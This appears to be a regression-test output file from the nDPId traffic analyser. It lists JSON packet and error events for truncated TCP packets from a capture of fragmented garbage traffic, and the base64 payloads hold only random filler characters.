-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7441,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692697} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7442,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692711} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7443,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692725} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7444,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692741} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7445,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692754} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7446,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692768} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7447,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692782} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7448,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692796} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7449,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692811} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7450,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692825} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7451,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692839} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7452,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692853} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7453,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692868} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":7454,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692882} -00361{"packet_event_id":1,"packet_event_name":"packet","packet_id":7455,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692896} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7456,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692910} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7457,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692923} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7458,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692940} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7459,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692954} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7460,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692968} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7461,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692982} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7462,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031692997} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7463,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693011} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7464,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693025} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7465,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEkAGQ58KAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693039} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7466,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFEAGQ50KAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693052} -00362{"packet_event_id":1,"packet_event_name":"packet","packet_id":7467,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiFkAGQ5sKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693067} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7468,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGEAGQ5kKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693081} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7469,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiGkAGQ5cKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693095} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7470,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHEAGQ5UKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693109} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7471,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiHkAGQ5MKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693125} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7472,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIEAGQ5EKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693139} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7473,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiIkAGQ48KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693153} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7474,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJEAGQ40KAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693167} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7475,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiJkAGQ4sKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693213} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7476,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKEAGQ4kKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693230} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7477,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiKkAGQ4cKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693244} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7478,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLEAGQ4UKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693258} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":7479,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiLkAGQ4MKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693272} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7480,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMEAGQ4EKAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693286} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7481,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiMkAGQ38KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693301} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7482,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNEAGQ30KAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693316} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7483,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiNkAGQ3sKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693330} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":7484,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244031688865,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiOEAGQ3kKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":7485,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244031693343} 